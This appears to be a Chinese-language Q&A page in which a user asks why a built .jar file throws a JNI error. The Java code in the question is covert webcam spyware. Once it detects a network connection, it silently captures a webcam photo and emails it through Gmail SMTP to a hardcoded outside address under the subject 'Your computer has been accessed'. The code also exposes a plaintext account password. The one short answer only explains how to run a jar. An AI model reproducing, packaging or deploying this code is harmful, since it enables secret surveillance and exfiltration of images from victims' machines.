无法运行.jar文件

时间:2016-06-10 20:12:33

标签: java jar

我正在尝试使用以下代码制作一个jar文件:

public class Main {

    public static void main(String[] args) {

        boolean net = true;
        int num = 0;

        do {
            if (netIsAvailable()) {
                webCapture();
                mailSend();
                net = false;
            }

        } while (net);

        System.exit(0);

    }

    public static void webCapture() {
        // get default webcam and open it
        Webcam webcam = Webcam.getDefault();

        webcam.setViewSize(new Dimension(640, 480));

        // creates test2.jpg
        WebcamUtils.capture(webcam, "test2", "jpg");
    }

    private static boolean netIsAvailable() {
        try {
            final URL url = new URL("http://www.google.com");
            final URLConnection conn = url.openConnection();
            conn.connect();
            return true;
        } catch (MalformedURLException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            return false;
        }
    }

    public static void mailSend() {
        final String username = "javaMailTest002@gmail.com";
        final String password = "anaaremere";

        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", "smtp.gmail.com");
        props.put("mail.smtp.port", "587");

        Session session = Session.getInstance(props,
                new javax.mail.Authenticator() {
                    protected PasswordAuthentication getPasswordAuthentication() {
                        return new PasswordAuthentication(username, password);
                    }
                });

        try {

            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress(username));
            message.setRecipients(Message.RecipientType.TO,
                    InternetAddress.parse("alindradici@gmail.com"));
            message.setSubject("Your computer has been accessed");
            message.setText("Congratulation!");

            MimeBodyPart messageBodyPart = new MimeBodyPart();

            Multipart multipart = new MimeMultipart();

            messageBodyPart = new MimeBodyPart();
            String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg";
            String fileName = "attachmentName";
            DataSource source = new FileDataSource(file);
            messageBodyPart.setDataHandler(new DataHandler(source));
            messageBodyPart.setFileName(fileName);
            multipart.addBodyPart(messageBodyPart);

            message.setContent(multipart);

            Transport.send(message);

            System.out.println("done, email sent ok");

        } catch (Exception e) {
            System.out.println("Email sending problems");
            e.printStackTrace();


        }
    }

}

工作正常,编译和运行没有问题,但当我这样做: 档案|项目结构|工件点击加号图标并创建新工件选择 - > jar - >来自具有依赖关系的模块。

构建|构建工件 当我尝试运行新创建的jar文件时,我收到错误:发生了jni错误请检查您的安装并再试一次。知道如何解决这个问题吗?

1 个答案:

答案 0 :(得分:1)

你在做什么来运行jar?

从命令行:java -jar name_of_your_created.jar